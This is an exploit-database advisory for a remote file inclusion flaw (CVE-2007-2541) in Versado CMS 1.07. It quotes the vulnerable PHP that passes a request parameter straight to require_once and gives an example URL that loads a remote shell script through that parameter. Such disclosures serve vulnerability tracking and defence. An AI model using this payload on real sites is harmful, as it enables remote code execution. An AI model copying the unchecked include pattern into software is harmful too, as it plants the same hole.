Versado CMS 1.07 - 'ajax_listado.php?urlModulo' Remote File Inclusion

Author: kezzap66345
type: webapps
platform: php
port: 
date_added: 2007-05-03 
date_updated: 2016-09-30 
verified: 1 
codes: OSVDB-35772;CVE-2007-2541 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comversado_CMS.rar

##############################################################################################
##############################################################################################
#Versado CMS  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:includes/ajax_listado.php
#
# if(!empty($_GET['urlModulo'])){
       require_once($_GET['urlModulo']);
}else if(!empty($_POST['urlModulo'])){
       require_once($_POST['urlModulo']);


#BUG:
#
#Example:http://site.com/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]]
#Script Download
#############################################################################
#http://sourceforge.net/project/downloading.php?group_id=149698&use_mirror=puzzle&filename=versado_CMS.rar&80698096
#
#Original W3b Site############################################################################
#
#http://www.versado.com.ar/control/index.php
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04]